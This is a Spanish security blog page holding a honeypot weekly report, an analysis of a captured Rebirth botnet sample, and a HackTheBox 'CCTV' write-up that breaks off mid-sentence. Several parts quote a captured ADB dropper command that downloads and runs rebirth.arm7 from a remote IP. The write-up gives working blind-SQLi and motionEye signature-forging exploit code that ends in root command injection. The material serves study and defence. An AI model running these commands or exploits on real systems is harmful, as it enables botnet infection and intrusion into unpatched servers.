Mirai-like) busybox wget http://94.154.43.48/rebirth.arm7 -O /data/local/tmp/com.sup[...] # 2. Instalación de APK de minería pm install /data/local/tmp/ufo.apk # 3. Ejecución del minero am start -n com.ufo.miner/com.example.test.MainActivity # 4. Ejecución de binario Trinity (segunda familia de botnet) ps | grep trinity /data/local/tmp/nohup su -c /data/local/tmp/trinity Esto documenta de principio a fin cómo un actor automatizado usa un dispositivo Android con ADB expuesto (smart TVs, cajas TV Android, emuladores mal configurados) para: descargar loader → instalar APK de minería → ejecutar un segundo binario de botnet. Tres familias distintas en una única sesión de infección.\n6. Dionaea — Servicios de Base de Datos y Ficheros # 61.123 ataques, 683 IPs únicas. Dionaea simula servicios vulnerables clásicos (SMB, RPC, MySQL, MSSQL, MongoDB, FTP, PPTP, MQTT).\nEl protocolo dominante es SMB (puerto 445), seguido de epmapper (RPC, puerto 135), mysqld (3306) y mssqld (1433) — los mismos vectores que popularizó WannaCry, todavía vigentes.\nLas credenciales probadas (admin, sa, root, anonymous) son cuentas por defecto de MSSQL y MongoDB/FTP, no diccionarios masivos — patrón de explotación más dirigido a servicios específicos que de fuerza bruta genérica.\nLas IPs 62.84.80.240 a 62.84.80.243 (cuatro direcciones consecutivas, ~5.600-5.700 eventos cada una) repiten el patrón de rotación dentro de una misma subred /29-/30 ya visto en Cowrie.\nASN Organización Eventos 42334 Broadband Plus S.a.l. (Líbano) 22.578 58224 Iran Telecommunication Company PJS 14.225 56041 China Mobile Communications 6.302 45899 VNPT Corp (Vietnam) 3.230 7. Sentrypeer — Fraude Telefónico (Toll Fraud) sobre SIP/VoIP # 36.522 ataques, 112 IPs únicas. Actividad prácticamente nula hasta el 9 de julio, cuando arranca de golpe y se mantiene elevada el resto de la semana — inicio de una campaña concreta de reconocimiento/fraude VoIP durante la ventana analizada.\nEl método SIP dominante es INVITE (intento de iniciar una llamada), seguido de REGISTER (registro de extensión falsa). Los user-agents capturados (Linksys-SPA942, Avaya one-X Deskphone, Yealink SIP-T54W, Cisco-SIPGateway, FPBX-15.0.17) son perfiles de teléfonos IP y centralitas reales, típico de escáneres que rotan huellas de cliente SIP para pasar desapercibidos.\nLa numeración objetivo en prefijo 0033 (Francia) e 0016... (Norteamérica) es consistente con toll fraud: el objetivo es conseguir que la centralita comprometida origine llamadas a números de tarificación especial que generan ingresos para el atacante.\nLas IPs 217.154.196.x / 217.154.197.x y 31.70.86.6x repiten el patrón de bloques contiguos observado en otros sensores esta semana.\n8. ConPot — Reconocimiento de Infraestructura Industrial (ICS/SCADA) # 1.594 ataques, 128 IPs únicas. Volumen bajo, pero el honeypot simula infraestructura de control industrial — cualquier interacción es relevante por el tipo de objetivo, no por el número.\nLa actividad arranca igual que Sentrypeer: prácticamente nula antes del 9 de julio, con subida sostenida a partir de esa fecha. Segundo indicio de que el 9 de julio marcó el inicio de una ventana de reconocimiento más amplia contra la instancia, no solo actividad puntual en un sensor.\nProtocolos y puertos # El protocolo dominante es SNMP (puerto 161, ~50% del tráfico), seguido de guardian_ast (puerto 10001, sistemas de monitorización de tanques de combustible) y, puntualmente, kamstrup_protocol (contadores inteligentes de energía) e IEC-104 (puerto 2404).\nIEC-104 merece mención aparte: es el protocolo estándar de telecontrol usado en subestaciones eléctricas europeas. Que aparezca sondeo activo contra este puerto, aunque sea con volumen bajo, es un dato que un SOC de operador energético consideraría de alta prioridad — en un honeypot de investigación es una muestra de que existen actores escaneando activamente puertos ICS de sector eléctrico, no solo SNMP genérico.\n9. Conclusiones # El pico del 9-10 de julio se refleja simultáneamente en Honeytrap, RDPHoneypot, Adbhoney, Sentrypeer y ConPot. Cinco sensores distintos subiendo a la vez apunta a una campaña de reconocimiento coordinada o lanzada desde infraestructura compartida, no a coincidencia.\nBloquear por subred /24, no por IP individual. El patrón de rotación entre IPs contiguas del mismo operador (visible en Cowrie, Dionaea y Sentrypeer) hace ineficaz el bloqueo IP-a-IP. Un bloqueo a nivel de /24 o incluso /20 habría eliminado miles de eventos antes de que llegaran al sensor.\nOllama, Gradio y Streamlit ya están en los diccionarios de escaneo masivo. Cualquier entorno con estos servicios expuestos sin autenticación debe tratarse con la misma prioridad que un RDP o SSH expuesto — no son \u0026ldquo;herramientas de developer\u0026rdquo;, son servicios HTTP sin auth accesibles desde internet.\nDiferenciar ruido de protocolo de alertas con intención real. Los 173.000+ eventos de Suricata STREAM broken ack son consecuencia de herramientas de escaneo mal implementadas, no intentos de intrusión. Presentarlos como ataques infla artificialmente la severidad percibida del informe.\nLa cadena Rebirth → UFO Miner → Trinity capturada en Adbhoney es un caso de estudio completo de infección Android/IoT; merece un post técnico independiente.\nEl sondeo de IEC-104 en ConPot debe mantenerse en vigilancia: cualquier repunte futuro en ese puerto específico, en combinación con otro sensor activo, merece atención prioritaria por el tipo de infraestructura que simula.\nInforme elaborado a partir de datos propios recogidos en una instancia T-Pot expuesta públicamente a internet. Metodología: exportación de paneles agregados de Kibana (rango 7–11 julio 2026) más tagclouds de credenciales en CSV.\n","date":"12 de julio de 2026","externalUrl":null,"permalink":"/es/honeypot/informe-semanal-01/","section":"Honeypots","summary":" Primer informe semanal del honeypot T-Pot. Durante la semana del 7 al 11 de julio de 2026 se registraron aproximadamente 1.011.000 eventos de ataque distribuidos en 10 sensores activos. Lo más destacado: malware Redtail multi-arquitectura capturado en Cowrie, una cadena de infección Android completa en Adbhoney (Rebirth → minero UFO → botnet Trinity), escaneo activo de servicios de IA expuestos (Ollama, Gradio, Streamlit) y sondeo del protocolo IEC-104 usado en subestaciones eléctricas europeas. Período analizado: 7 – 11 de julio de 2026 Fuente: T-Pot (multi-honeypot + ELK Stack) — instancia expuesta públicamente en internet Clasificación: Uso en portfolio / TLP:CLEAR\n","title":"Informe Semanal de Threat Intelligence — Honeypot T-Pot (7–11 julio 2026)","type":"honeypot"},{"content":"","date":"12 de julio de 2026","externalUrl":null,"permalink":"/es/tags/rebirth/","section":"Tags","summary":"","title":"Rebirth","type":"tags"},{"content":"","date":"12 de julio de 2026","externalUrl":null,"permalink":"/es/tags/suricata/","section":"Tags","summary":"","title":"Suricata","type":"tags"},{"content":"","date":"12 de julio de 2026","externalUrl":null,"permalink":"/es/tags/trinity/","section":"Tags","summary":"","title":"Trinity","type":"tags"},{"content":"","date":"9 de julio de 2026","externalUrl":null,"permalink":"/es/tags/adb/","section":"Tags","summary":"","title":"ADB","type":"tags"},{"content":"","date":"9 de julio de 2026","externalUrl":null,"permalink":"/es/tags/android/","section":"Tags","summary":"","title":"Android","type":"tags"},{"content":" Revisando el tráfico de mi honeypot T-Pot encontré algo más interesante que el típico intento de fuerza bruta SSH: una cadena de infección completa, capturada en vivo, que resultó ser una variante del botnet Rebirth, de la familia Mirai/Gafgyt. Este post cuenta qué capturé exactamente, cómo até cabos para identificarlo, y qué dice la comunidad de seguridad sobre esta familia — dejando claro en cada parte qué es observación directa mía y qué es investigación de terceros. Lo que Capturé (esto sí es mío) # El honeypot que registró esto fue Adbhoney, uno de los sensores de T-Pot que simula el protocolo ADB (Android Debug Bridge) — el sistema de depuración remota de Android, que expuesto a internet sin autenticación es una puerta de entrada trivial para bots automatizados.\nEl comando ejecutado por el atacante, capturado literalmente en los logs:\ntoybox wget http://94.154.43.48/rebirth.arm7 -O /data/local/tmp/com.supercell.clashroyal chmod 777 /data/local/tmp/com.supercell.clashroyal ./data/local/tmp/com.supercell.clashroyal adb Tres pasos, típicos de un dropper automatizado:\nDescarga un binario (rebirth.arm7) desde un servidor remoto, usando toybox — una utilidad tipo BusyBox preinstalada en la mayoría de sistemas Android, así el atacante no depende de tener herramientas extra en el dispositivo objetivo. Le da permisos de ejecución totales (chmod 777). Lo ejecuta, pasándole adb como argumento — a falta de analizar el binario en profundidad, mi lectura es que probablemente le indica usar ese vector para seguir propagándose a otros dispositivos con ADB expuesto. El detalle que más me llamó la atención: el archivo se guarda como com.supercell.clashroyal, el nombre de paquete real del juego Clash Royale. Es una técnica sencilla de camuflaje — que alguien revisando procesos por encima no sospeche de él.\nCómo Até Cabos (el proceso real, con su callejón sin salida incluido) # Lo primero que hice fue coger el hash SHA256 del archivo, que T-Pot ya había guardado automáticamente como nombre del fichero capturado:\n849840d92c44ed04af624abd9e5d79a7a082016c89ac39ac50d19f3d537839b5 Lo busqué en VirusTotal y no encontré nada — el hash no estaba en su base de datos. En ese momento no supe si era una muestra nueva sin catalogar o si simplemente estaba buscando mal. Aproveché el nombre del binario (rebirth.arm7, visible en el propio comando) para buscar por texto en vez de por hash, y ahí sí aparecieron referencias — un análisis de Sysdig documentando una campaña con ese mismo nombre de archivo, identificándola como parte del botnet Rebirth.\nUnos días después, volví a comprobar el hash en VirusTotal y esta vez sí estaba registrado — probablemente porque otro investigador subió una copia idéntica capturada en su propio honeypot. Los comentarios de la comunidad en la ficha lo confirman: al menos dos personas más reportan haberla visto \u0026ldquo;in the wild\u0026rdquo; en fechas parecidas a la mía.\nLo que Dice el Análisis Automático de VirusTotal (no es mío, lo cito) # Con la muestra ya indexada, esto es lo que refleja su ficha:\nCampo Resultado Detección 39 de 63 motores antivirus Etiqueta popular trojan.mirai/smmr1 Categorías trojan, dropper, worm Family labels mirai, smmr1, camelot Arquitectura ELF ARM — 194.51 KB VirusTotal incluye también un resumen de comportamiento generado automáticamente (\u0026ldquo;Code Insights\u0026rdquo;) que describe el binario como un botnet IoT de la familia Mirai/Gafgyt, con capacidad de auto-propagación explotando CVE-2017-17215 (una RCE en routers Huawei HG532), un módulo que mata procesos de malware competidor, varios vectores de ataque DDoS, y comunicación C2 cifrada.\nNo he verificado estos detalles yo mismo desensamblando el binario — los reproduzco como lo que son: la lectura automatizada de VirusTotal, respaldada además por varias reglas YARA de la comunidad (Elastic Security, Florian Roth/Nextron Systems) que coinciden con firmas conocidas de Mirai y del exploit de CVE-2017-17215.\nQué Dice la Investigación Previa sobre Rebirth (tampoco es mío) # Rebirth no parece un experimento aislado. Investigación publicada por Sysdig la describe como un servicio de DDoS-as-a-Service — una botnet que se alquila — presuntamente administrada bajo el alias \u0026ldquo;Docx69\u0026rdquo;, promocionada en Telegram y en streams de videojuegos. Análisis técnicos anteriores la sitúan construida sobre Gafgyt, con capacidades heredadas de otras familias como QBot y STDBot.\nMenciono esto como contexto de terceros, no como algo que haya confirmado por mi cuenta — pero encaja razonablemente con el comportamiento modular (propagación + DDoS + anti-competencia) que sí describe la ficha de VirusTotal para esta muestra concreta.\nLo que Sí me Atrevo a Concluir Yo # Una vulnerabilidad de 2017 sigue siendo un vector de propagación activo en 2026. Si el CVE-2017-17215 sigue apareciendo en malware actual, es porque sigue habiendo suficientes routers Huawei sin parchear ahí fuera como para que valga la pena seguir incluyéndolo.\nEl camuflaje como Clash Royale funciona precisamente porque nadie espera revisar procesos de un dispositivo Android a fondo. No hace falta una técnica sofisticada de evasión si nadie está mirando.\nUn hash sin resultados en VirusTotal no significa \u0026ldquo;nada interesante\u0026rdquo; — a veces solo significa que llegaste antes que el resto de la comunidad. Buscar por otros datos (nombre de archivo, comando, IP) cuando el hash falla es un paso que casi se me pasa por alto.\nResumen Técnico # Campo Fuente Valor Honeypot de captura Observación directa Adbhoney (T-Pot) Fecha de captura Observación directa 9 de julio de 2026 Servidor de origen Observación directa 94.154.43.48 Nombre real del archivo Observación directa rebirth.arm7 Nombre de disfraz Observación directa com.supercell.clashroyal SHA256 Observación directa 849840d92c44ed04af624abd9e5d79a7a082016c89ac39ac50d19f3d537839b5 Arquitectura / tamaño VirusTotal ELF ARM, 194.51 KB Detección VirusTotal 39/63 Familia VirusTotal / YARA comunidad Mirai/Gafgyt (Rebirth), smmr1 CVE de propagación VirusTotal Code Insights (no verificado por mí) CVE-2017-17215 (Huawei HG532) Contexto DDoS-as-a-Service Investigación de Sysdig Alias operador: \u0026ldquo;Docx69\u0026rdquo; Este análisis combina observación directa en mi honeypot con fuentes públicas de threat intelligence (VirusTotal, investigación de Sysdig), claramente diferenciadas a lo largo del post. En ningún momento ejecuté el binario fuera del entorno aislado del honeypot.\n","date":"9 de julio de 2026","externalUrl":null,"permalink":"/es/honeypot/rebirth-botnet/","section":"Honeypots","summary":" Revisando el tráfico de mi honeypot T-Pot encontré algo más interesante que el típico intento de fuerza bruta SSH: una cadena de infección completa, capturada en vivo, que resultó ser una variante del botnet Rebirth, de la familia Mirai/Gafgyt. Este post cuenta qué capturé exactamente, cómo até cabos para identificarlo, y qué dice la comunidad de seguridad sobre esta familia — dejando claro en cada parte qué es observación directa mía y qué es investigación de terceros. Lo que Capturé (esto sí es mío) # El honeypot que registró esto fue Adbhoney, uno de los sensores de T-Pot que simula el protocolo ADB (Android Debug Bridge) — el sistema de depuración remota de Android, que expuesto a internet sin autenticación es una puerta de entrada trivial para bots automatizados.\n","title":"Capturé una muestra del botnet Rebirth en mi honeypot: esto es lo que até cabos","type":"honeypot"},{"content":"","date":"9 de julio de 2026","externalUrl":null,"permalink":"/es/tags/cve-2017-17215/","section":"Tags","summary":"","title":"CVE-2017-17215","type":"tags"},{"content":"","date":"9 de julio de 2026","externalUrl":null,"permalink":"/es/tags/ddos/","section":"Tags","summary":"","title":"DDoS","type":"tags"},{"content":"","date":"9 de julio de 2026","externalUrl":null,"permalink":"/es/tags/gafgyt/","section":"Tags","summary":"","title":"Gafgyt","type":"tags"},{"content":"","date":"9 de julio de 2026","externalUrl":null,"permalink":"/es/tags/malwareanalysis/","section":"Tags","summary":"","title":"MalwareAnalysis","type":"tags"},{"content":" Voy a exponer un servidor a internet a propósito para que lo ataquen — y luego contarlo aquí, cada semana. Sin simulaciones ni datos de laboratorio: tráfico malicioso real, de internet real, contra un servidor que no hace nada más que esperar a que alguien intente entrar. Qué es esto # Este blog documenta lo que un honeypot — un sistema señuelo diseñado para parecer vulnerable y atraer ataques — detecta en tiempo real, semana a semana.\nLa idea es sencilla: la mayoría de lo que se lee sobre ciberseguridad son informes trimestrales de grandes empresas o análisis retrospectivos de incidentes ya resueltos. Aquí va a ser lo contrario — un vistazo pequeño pero continuo y sin filtrar a lo que está pasando ahora mismo en el ruido de fondo de internet: qué credenciales prueban los bots, qué vulnerabilidades de hace años se siguen explotando, qué botnets siguen activas reclutando dispositivos.\nLa Infraestructura # El honeypot corre sobre T-Pot, una plataforma que despliega más de 20 honeypots distintos en paralelo (SSH, ADB de Android, SMB, bases de datos expuestas, sistemas industriales, servidores web vulnerables, entre otros), junto con Elasticsearch y Kibana para poder analizar y visualizar todo lo que entra. Está alojado en un VPS dedicado exclusivamente a esto, aislado de cualquier otro sistema o dato personal.\nQué vas a encontrar aquí # Dos tipos de contenido, con ritmos distintos:\nResúmenes semanales, cada domingo. Formato corto y consistente: cuántos ataques hubo, qué honeypot recibió más tráfico, de dónde vino, y el hallazgo más interesante de la semana — ya sea un patrón curioso de credenciales, un comando ejecutado, o una alerta de un CVE concreto siendo explotado activamente.\nAnálisis en profundidad, sin calendario fijo. Cuando algo capturado merece más que un párrafo — una muestra de malware real, una técnica de evasión, una campaña identificable — le dedico un post propio. El primero de estos ya está publicado: un análisis de una muestra del botnet Rebirth (variante de Mirai/Gafgyt) que capturé intentando infectar el honeypot disfrazada como una app de Clash Royale.\nPor qué lo hago # Vengo de un perfil más orientado a lo ofensivo — CJCA, un puñado de máquinas de HackTheBox resueltas y documentadas — y ahora mismo estoy preparando la Security+. Este proyecto es mi forma de meterle horas al otro lado del tablero: detección, análisis de amenazas, y la disciplina de convertir datos crudos en algo legible y útil, que es al fin y al cabo el trabajo diario de un analista SOC o de threat intelligence.\nNo pretendo que cada semana traiga un hallazgo espectacular — muchas van a ser simplemente \u0026ldquo;más de lo mismo: fuerza bruta SSH, escaneo SMB, credenciales genéricas\u0026rdquo;. Y está bien así. El valor de esto no es que cada entrada sea impactante, sino la constancia: mirar la misma superficie de ataque semana tras semana hasta que los patrones — y las anomalías — se vuelven visibles.\nUna nota sobre honestidad técnica # Un compromiso que me marco desde el primer post: no voy a inflar la gravedad de lo que encuentro. Si algo es simplemente ruido de escaneo automatizado sin mayor interés, lo digo así. Si un hallazgo requiere matizar (\u0026ldquo;esto parece X, pero no lo he confirmado del todo\u0026rdquo;), lo matizo. Prefiero que este blog sea útil y creíble a que sea vistoso.\nNos vemos el domingo con el primer resumen semanal.\n","date":"8 de julio de 2026","externalUrl":null,"permalink":"/es/honeypot/introduccion/","section":"Honeypots","summary":" Voy a exponer un servidor a internet a propósito para que lo ataquen — y luego contarlo aquí, cada semana. Sin simulaciones ni datos de laboratorio: tráfico malicioso real, de internet real, contra un servidor que no hace nada más que esperar a que alguien intente entrar. Qué es esto # Este blog documenta lo que un honeypot — un sistema señuelo diseñado para parecer vulnerable y atraer ataques — detecta en tiempo real, semana a semana.\n","title":"Monté un honeypot y voy a contar cada semana lo que veo","type":"honeypot"},{"content":"","date":"22 de junio de 2026","externalUrl":null,"permalink":"/es/tags/bcrypt/","section":"Tags","summary":"","title":"Bcrypt","type":"tags"},{"content":"","date":"22 de junio de 2026","externalUrl":null,"permalink":"/es/tags/blindsqli/","section":"Tags","summary":"","title":"BlindSQLi","type":"tags"},{"content":"","date":"22 de junio de 2026","externalUrl":null,"permalink":"/es/tags/cctv/","section":"Tags","summary":"","title":"Cctv","type":"tags"},{"content":"","date":"22 de junio de 2026","externalUrl":null,"permalink":"/es/tags/cve-2024-51482/","section":"Tags","summary":"","title":"CVE-2024-51482","type":"tags"},{"content":"","date":"22 de junio de 2026","externalUrl":null,"permalink":"/es/tags/cve-2025-60787/","section":"Tags","summary":"","title":"CVE-2025-60787","type":"tags"},{"content":"","date":"22 de junio de 2026","externalUrl":null,"permalink":"/es/tags/hmac/","section":"Tags","summary":"","title":"HMAC","type":"tags"},{"content":" Resolución de CCTV en Hack The Box. Máquina de dificultad Medium con sistema operativo Linux. ZoneMinder expuesto con credenciales por defecto es vulnerable al CVE-2024-51482, una SQL Injection ciega que nos permite extraer hashes bcrypt y obtener acceso SSH. Una vez dentro, motionEye corre como root con su clave de firma de API expuesta en un fichero de configuración legible — combinación que explota el CVE-2025-60787 para inyectar un comando en el nombre de fichero de captura y obtener SUID en /bin/bash. HackTheBox Linux Medium 🗺️ Información de la Máquina # Campo Detalle Nombre CCTV OS Linux Dificultad Medium IP 10.129.244.156 Técnicas CVE-2024-51482 · Boolean-based Blind SQLi · bcrypt Cracking · CVE-2025-60787 · SUID PrivEsc 1. Reconocimiento # 1.1 Escaneo de Puertos # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.244.156 PORT STATE SERVICE 22/tcp open ssh 80/tcp open http echo \u0026#34;10.129.244.156 cctv.htb\u0026#34; \u0026gt;\u0026gt; /etc/hosts 💡 Superficie de ataque: Solo SSH y un servicio web. Toda la investigación inicial pasa necesariamente por la aplicación web en el puerto 80.\n2. Enumeración Web — ZoneMinder # Al visitar http://cctv.htb encontramos un panel de staff login. Probamos credenciales por defecto:\nadmin : admin ✅ Acceso concedido. La aplicación es ZoneMinder v1.37.63, un sistema de videovigilancia de código abierto.\n⚠️ Vulnerabilidad identificada: Esta versión es vulnerable a CVE-2024-51482, una SQL Injection ciega en el parámetro tid del endpoint web/ajax/event.php. Cualquier usuario autenticado — incluyendo admin:admin por defecto — puede explotarla.\nProbamos primero el exploit público de referencia basado en time-based SQLi:\npython3 CVE-2024-51482.py -i 10.129.244.156 -u admin -p admin --test [-] Target does not appear vulnerable El servidor amortigua los retardos de SLEEP(), así que la detección time-based falla. Sin embargo, el parámetro tid sigue sin sanitizar — cambiamos el enfoque a boolean-based blind SQLi: en lugar de medir tiempos, observamos si la clave \u0026quot;response\u0026quot; aparece o no en el JSON de respuesta según si la condición inyectada es verdadera o falsa.\n2.1 Petición Vulnerable # GET /zm/index.php?view=request\u0026amp;request=event\u0026amp;action=removetag\u0026amp;tid=\u0026lt;PAYLOAD\u0026gt; Cookie: ZMSESSID=\u0026lt;cookie_de_sesión\u0026gt; 2.2 Lógica del Payload # -- ¿El primer carácter del hash de la contraseña de mark es \u0026#39;$\u0026#39; (ASCII 36)? 0 UNION SELECT 1,2,3,4 FROM Users WHERE Id=2 AND ASCII(SUBSTRING(Password,1,1))=36 Si la condición es verdadera, la respuesta cambia de forma detectable. Iterando posición a posición y carácter a carácter extraemos el hash completo sin retardos de tiempo.\n2.3 Script de Extracción # import requests, sys URL = \u0026#39;http://cctv.htb/zm/index.php\u0026#39; COOKIE = {\u0026#39;ZMSESSID\u0026#39;: sys.argv[1]} # Charset optimizado para bcrypt ($2y$10$...) CHARSET = [ord(c) for c in \u0026#39;$2abcdefghijklmnopqrstuvwxyz0123456789./ABCDEFGHIJKLMNOPQRSTUVWXYZ\u0026#39;] def check(user_id, pos, asc_val): payload = ( f\u0026#39;0 UNION SELECT 1,2,3,4 FROM Users \u0026#39; f\u0026#39;WHERE Id={user_id} AND ASCII(SUBSTRING(Password,{pos},1))={asc_val}\u0026#39; ) params = {\u0026#39;view\u0026#39;:\u0026#39;request\u0026#39;,\u0026#39;request\u0026#39;:\u0026#39;event\u0026#39;,\u0026#39;action\u0026#39;:\u0026#39;removetag\u0026#39;,\u0026#39;tid\u0026#39;:payload} r = requests.get(URL, params=params, cookies=COOKIE, timeout=5) return \u0026#39;\u0026#34;response\u0026#34;\u0026#39; not in r.text and r.status_code == 200 for uid, uname in [(1,\u0026#39;superadmin\u0026#39;),(2,\u0026#39;mark\u0026#39;)]: password = \u0026#39;\u0026#39; for pos in range(1, 61): found = False for asc in CHARSET: if check(uid, pos, asc): password += chr(asc); found = True; break if not found: for asc in range(32, 127): if check(uid, pos, asc): password += chr(asc); found = True; break if not found: password += \u0026#39;?\u0026#39; print(f\u0026#39;{uname} hash: {password}\u0026#39;) El charset prioriza los caracteres típicos de un hash bcrypt ($, dígitos, letras y ./) para reducir el número de peticiones necesarias por posición.\nExtraemos el ZMSESSID de la sesión autenticada y ejecutamos:\npython3 sqli.py jalvld8p48s3gpba63pb8gi3ho superadmin hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm mark hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. 3. Cracking del Hash y Acceso SSH # Guardamos el hash de mark y lo crackeamos con John the Ripper:\necho \u0026#39;$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.\u0026#39; \u0026gt; mark.hash john --wordlist=/usr/share/wordlists/rockyou.txt mark.hash Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes opensesame (?) 1g 0:00:01:06 DONE — 0.01503g/s 89.82p/s 🔑 Credenciales obtenidas: mark:opensesame\nssh mark@cctv.htb mark@cctv:~$ id uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev) 4. User Flag # mark@cctv:~$ cat /home/sa_mark/user.txt 🔑 Flag de usuario obtenida.\n5. Escalada de Privilegios — motionEye como Root # 5.1 Enumeración de Servicios Locales # mark@cctv:~$ ss -tlnp LISTEN 127.0.0.1:7999 LISTEN 127.0.0.1:8765 LISTEN 127.0.0.1:8554 LISTEN 127.0.0.1:3306 LISTEN 0.0.0.0:22 LISTEN *:80 mark@cctv:~$ grep User /etc/systemd/system/motioneye.service User=root 💡 Hallazgo clave: motionEye (puertos 7999 y 8765) se ejecuta como root. Si conseguimos ejecutar código a través de él, la escalada es directa.\n5.2 Clave de Firma Expuesta en la Configuración # mark@cctv:~$ cat /etc/motioneye/motion.conf # @admin_username admin # @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0 # @normal_username user # @normal_password setup_mode off webcontrol_port 7999 webcontrol_localhost on 💡 Dato crítico: admin_password no es la contraseña en texto plano — es el hash que motionEye usa como clave de firma HMAC para autenticar peticiones a su API REST. Cada petición debe incluir un parámetro _signature calculado con esa clave. Como mark puede leer este fichero, tenemos la clave sin necesidad de las credenciales reales. Esta es la base del CVE-2025-60787.\n6. Explotación — CVE-2025-60787: Firma Falsificada + RCE vía Nombre de Fichero # 6.1 Análisis de la Vulnerabilidad # CVE-2025-60787 combina dos problemas en motionEye:\nClave de firma legible por usuarios no administrativos: Con acceso a motion.conf, cualquier usuario local puede firmar peticiones arbitrarias a la API administrativa sin conocer la contraseña real.\nInyección de comandos en image_file_name: El campo que define el nombre de las capturas de cámara soporta plantillas tipo strftime (%Y-%m-%d), pero no sanea el contenido $(...). Cuando motion genera el nombre de archivo a través de un shell, cualquier subcomando embebido se ejecuta — y como el servicio corre como root, el comando se ejecuta con privilegios de root.\nFlujo normal: image_file_name = \u0026#34;capture_%Y-%m-%d\u0026#34; → motion genera \u0026#34;capture_2026-06-22\u0026#34; Flujo malicioso: image_file_name = \u0026#34;$(chmod u+s /bin/bash).%Y-%m-%d\u0026#34; → motion invoca shell para expandir la plantilla → subcomando ejecutado como root → /bin/bash obtiene bit SUID 6.2 Cálculo de la Firma # motionEye firma las peticiones concatenando método HTTP, ruta normalizada, cuerpo y clave, y calculando SHA-1 sobre el resultado. Reproducimos el algoritmo exacto:\nimport hashlib, re, urllib.parse, requests, json _SIGNATURE_REGEX = re.compile(r\u0026#34;[^a-zA-Z0-9/?_.=\u0026amp;{}\\[\\]\\\u0026#34;:, -]\u0026#34;) KEY = \u0026#34;989c5a8ee87a0e9521ec81a79187d162109282f0\u0026#34; BASE = \u0026#34;http://127.0.0.1:8765\u0026#34; def compute_sig(method, path_with_query, body=\u0026#34;\u0026#34;): parts = list(urllib.parse.urlsplit(path_with_query)) query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != \u0026#34;_signature\u0026#34;] query.sort(key=lambda q: q[0]) query = [(n, urllib.parse.quote(v, safe=\u0026#34;!\u0026#39;()*~\u0026#34;)) for (n, v) in query] parts[0] = parts[1] = \u0026#34;\u0026#34; parts[3] = \u0026#34;\u0026amp;\u0026#34;.join([q[0] + \u0026#34;=\u0026#34; + q[1] for q in query]) path = _SIGNATURE_REGEX.sub(\u0026#34;-\u0026#34;, urllib.parse.urlunsplit(parts)) k = _SIGNATURE_REGEX.sub(\u0026#34;-\u0026#34;, KEY) body_str = _SIGNATURE_REGEX.sub(\u0026#34;-\u0026#34;, body) if body else \u0026#34;\u0026#34; return hashlib.sha1(f\u0026#34;{method}:{path}:{body_str}:{k}\u0026#34;.encode()).hexdigest().lower() 6.3 Ejecución del Exploit # Paso 1 — Leer la configuración actual de la cámara (necesaria para el set, que requiere el objeto completo):\nqget = \u0026#34;/config/1/get?_username=admin\u0026#34; r = requests.get(f\u0026#34;{BASE}{qget}\u0026amp;_signature={compute_sig(\u0026#39;GET\u0026#39;, qget)}\u0026#34;) ui = r.json() Paso 2 — Inyectar el payload en image_file_name:\nui[\u0026#34;image_file_name\u0026#34;] = \u0026#34;$(chmod u+s /bin/bash).%Y-%m-%d\u0026#34; ui[\u0026#34;capture_mode\u0026#34;] = \u0026#34;all-frames\u0026#34; ui[\u0026#34;still_images\u0026#34;] = True Activar all-frames fuerza a motion a generar capturas de forma continua, garantizando que el nombre de archivo malicioso se evalúe pronto.\nPaso 3 — Enviar la configuración envenenada:\nbody = json.dumps(ui) qset = \u0026#34;/config/1/set?_username=admin\u0026#34; r = requests.post( f\u0026#34;{BASE}{qset}\u0026amp;_signature={compute_sig(\u0026#39;POST\u0026#39;, qset, body)}\u0026#34;, data=body, headers={\u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;} ) print(f\u0026#34;[*] Config update: {r.status_code} — {r.text}\u0026#34;) mark@cctv:/tmp$ python3 exploit.py [*] Config update: 200 — {\u0026#34;reload\u0026#34;: false, \u0026#34;reboot\u0026#34;: false, \u0026#34;error\u0026#34;: null} Tras el reinicio del servicio motion, el subcomando se ejecuta como root y /bin/bash queda con SUID:\nmark@cctv:/tmp$ /bin/bash -p bash-5.2# id uid=1000(mark) gid=1000(mark) euid=0(root) groups=1000(mark) ✅ Shell con EUID 0 (root) obtenida.\n7. Root Flag # bash-5.2# cat /root/root.txt 🏁 Flag de root obtenida.\n8. Resumen y Lecciones Aprendidas # Ruta de compromiso:\nRecon → Puerto 80 con ZoneMinder v1.37.63; credenciales por defecto admin:admin. CVE-2024-51482 → Boolean-based blind SQLi en tid → hashes bcrypt de superadmin y mark. Cracking → John + rockyou.txt → mark:opensesame → SSH. Enumeración local → motionEye en puertos 7999/8765 corriendo como root; motion.conf legible con clave de firma expuesta. CVE-2025-60787 → Firma HMAC falsificada + inyección $(...) en image_file_name → chmod u+s /bin/bash ejecutado como root. Flags → User flag en /home/sa_mark/user.txt; root flag con /bin/bash -p. Lo que aprendí con esta máquina:\nLas credenciales por defecto siguen siendo el vector de entrada más frecuente y más ignorado. ZoneMinder se instala con admin:admin y muchas instancias en producción nunca lo cambian. Sin esas credenciales, la SQLi del CVE-2024-51482 no es explotable (requiere estar autenticado) — el hardening más básico habría cortado el ataque en el primer paso.\nTime-based SQLi y boolean-based SQLi no son intercambiables. Cuando el servidor amortigua los retardos (WAF, pooling de conexiones, configuración del motor), la detección por tiempo falla aunque la inyección exista. El cambio a boolean-based — observar diferencias en el contenido de la respuesta en lugar de en el tiempo — es el siguiente paso natural y funcionó perfectamente aquí.\nUn fichero de configuración legible puede valer más que una contraseña. La clave admin_password en motion.conf no era la contraseña del usuario — era la clave criptográfica de firma de toda la API. Tener acceso de lectura a ese fichero equivalía a tener acceso administrativo completo a motionEye sin conocer ninguna credencial real. El principio de mínimo privilegio sobre ficheros de configuración no es solo una buena práctica — es una línea de defensa concreta.\nLos sistemas de templating que invocan un shell son un vector de inyección de comandos inmediato si no sanitizan la entrada. image_file_name soportaba sustituciones de variables, lo que requiere invocar un shell para expandirlas. Cualquier campo que pase por un shell sin sanitizar $() es potencialmente vulnerable. La 